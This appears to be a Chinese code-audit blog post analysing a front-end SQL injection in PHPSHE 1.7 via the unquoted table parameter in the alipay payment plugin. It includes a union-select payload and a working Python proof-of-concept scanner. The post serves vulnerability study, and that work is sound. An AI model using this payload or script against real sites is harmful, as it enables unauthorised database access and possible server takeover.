zoukankan      html  css  js  c++  java
  • PHPSHE 1.7前台SQL注入漏洞分析

    此CMS  SQL注入漏洞产生原因为未将经过 addslashes() 函数过滤的数据使用单引号包裹,从而导致的SQL注入漏洞。接下来看漏洞详情:

    首先查看phpshe下的common.php文件37~44行:

    上述代码可以看到,将获取到的GET  POST 数据加上前缀'_g',然后再看pe_stripslashes函数:

    可以看到$_GET不为空的情况下,将字符串经过 stripslashes 函数去除反斜线。

    然后在查看一下防止SQL注入的函数pe_dbhold:

     

    可以看到此过滤是将字符串经过addslashes()函数过滤,然后要注入的话则有2种情况:

      1、可控数据未经过单引号包裹 

      2、宽字节注入

    然后查看此文件:include/plugin/payment/alipay/pay.php第34~35行:

    此处可以看到,将可控数据进过pe_dbhold函数过滤后引入order_table函数:

     此函数是查看 $id 中有无 '_' 有的话取第一个元素,否则返回 'order',此处可以看到次函数返回值可控,然后跟进 pe_select 函数:

    此函数中 $table 变量可控,并且带入SQL语句之中并无单引号包裹,从而产生SQL注入。

    由于order_table()函数返回值为 order_{$id_arr[0]},所以需要在数据库中找到数据库名包含 'order_' 的表,发现有且只有一个表:pe_order_pay

    于是构造payload:pay`+where+1=1+union+select+1,2,user(),4,5,6,7,8,9,10,11,12#_

    此处放上漏洞POC:

    import requests
    
    url = input("please input url:")
    pro1 = "http://"
    pro2 = "https://"
    if pro1 or pro2 in url:
    	pass
    else:
    	print("please input the correct URL")
    headers = {
    	"User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0",
    	"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    	"Accept-Language":"n-US,en;q=0.5"
    
    }
    payload = url + "/include/plugin/payment/alipay/pay.php?id=pay`%20where%201=1%20union%20select%201,2,1314520,4,5,6,7,8,9,10,11,12%23_"
    response = requests.get(payload,headers)
    creden = '1314520'
    if creden in response.text:
    	print("you can hack!!!")
    	print("payload is : " + payload)
    else:
    	print("The website is secure")

    该漏洞可用于初学代码审计,具体利用则异常鸡肋,由于过滤单引号,并且在payload中不能出现下划线,导致无法查出数据库中的大部分数据,不过权限够高的话,可以直接getshell。

  • 相关阅读:
    关于推荐的一个算法工程师访谈,有一些内容值得看看
    Element.Event
    复数输出
    Passenger/Nginx/Debian快速部署Rails
    POJ3678【错误总会让自己有收获的】
    android在其他线程中访问UI线程的方法
    C++运算符重载的方法
    Struts2图片文件上传,判断图片格式和图片大小
    list view Item 里面有ImageButton
    用python实现远程复制 (scp + expect )
  • 原文地址:https://www.cnblogs.com/Spec/p/10718046.html
Copyright © 2011-2022 走看看